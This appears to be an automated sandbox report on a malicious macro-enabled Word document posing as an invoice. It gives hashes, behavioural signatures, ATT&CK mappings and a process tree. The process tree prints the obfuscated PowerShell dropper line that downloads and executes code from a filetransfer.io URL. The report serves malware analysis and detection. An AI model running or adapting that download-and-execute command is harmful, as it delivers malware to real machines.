9da040b601db75cb64fe4779cba274a42c732e34fdd3226183e30d36e8427bcc

General

Target

INVOICE PACKAGE LINK TO DOWNLOAD.docm
Size

16KB
MD5

f2d0c66b801244c059f636d08a474079
SHA1

c62129fff128817b5af62aa0051c082f9992112e
SHA256

08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
SHA512

5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://filetransfer.io/data-package/UR2whuBv/download

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1504	2512	powershell.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5112	2512	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

35 1504 powershell.exe
81 5112 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
35	1504	powershell.exe
81	5112	powershell.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEfirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

Processes:

firefox.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\Local Settings firefox.exe
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2512 WINWORD.EXE
2512 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1504 powershell.exe
1504 powershell.exe
5112 powershell.exe
5112 powershell.exe
5112 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\Local Settings	firefox.exe

pid	process
1504	powershell.exe
1504	powershell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exefirefox.exe

description	pid	process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	4248	firefox.exe
Token: SeDebugPrivilege	4248	firefox.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

firefox.exe

pid process

4248 firefox.exe
4248 firefox.exe
4248 firefox.exe
4248 firefox.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

firefox.exe

pid process

4248 firefox.exe
4248 firefox.exe
4248 firefox.exe

pid	process
4248	firefox.exe
4248	firefox.exe
4248	firefox.exe
4248	firefox.exe

pid	process
4248	firefox.exe
4248	firefox.exe
4248	firefox.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

WINWORD.EXEfirefox.exe

pid	process
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
2512	WINWORD.EXE
4248	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WINWORD.EXEfirefox.exefirefox.exe

description	pid	process	target process
PID 2512 wrote to memory of 1504	2512	WINWORD.EXE	powershell.exe
PID 2512 wrote to memory of 1504	2512	WINWORD.EXE	powershell.exe
PID 2512 wrote to memory of 5112	2512	WINWORD.EXE	powershell.exe
PID 2512 wrote to memory of 5112	2512	WINWORD.EXE	powershell.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 1532 wrote to memory of 4248	1532	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4776	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4776	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 4376	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe
PID 4248 wrote to memory of 2296	4248	firefox.exe	firefox.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1532

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4248

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4248.0.1282594299\2012578561" -parentBuildID 20200403170909 -prefsHandle 1684 -prefMapHandle 1600 -prefsLen 1 -prefMapSize 219989 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4248 "\\.\pipe\gecko-crash-server-pipe.4248" 1764 gpu
3⤵
PID:4776

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4248.3.1318757906\1276019456" -childID 1 -isForBrowser -prefsHandle 2380 -prefMapHandle 1480 -prefsLen 112 -prefMapSize 219989 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4248 "\\.\pipe\gecko-crash-server-pipe.4248" 2328 tab
3⤵
PID:4376

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4248.13.2093681315\2130023771" -childID 2 -isForBrowser -prefsHandle 3692 -prefMapHandle 3688 -prefsLen 6894 -prefMapSize 219989 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4248 "\\.\pipe\gecko-crash-server-pipe.4248" 3712 tab
3⤵
PID:2296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
memory/1504-138-0x000002AA5FBE0000-0x000002AA5FC02000-memory.dmp

Filesize
136KB

Download
memory/1504-137-0x0000000000000000-mapping.dmp

Download
memory/1504-140-0x00007FFE4BAE0000-0x00007FFE4C5A1000-memory.dmp

Filesize
10.8MB

Download
memory/1504-139-0x00007FFE4BAE0000-0x00007FFE4C5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2512-136-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/2512-133-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2512-130-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2512-135-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/2512-134-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2512-132-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2512-131-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/5112-141-0x0000000000000000-mapping.dmp

Download
memory/5112-144-0x00007FFE4A430000-0x00007FFE4AEF1000-memory.dmp

Filesize
10.8MB

Download
memory/5112-145-0x00007FFE4A430000-0x00007FFE4AEF1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads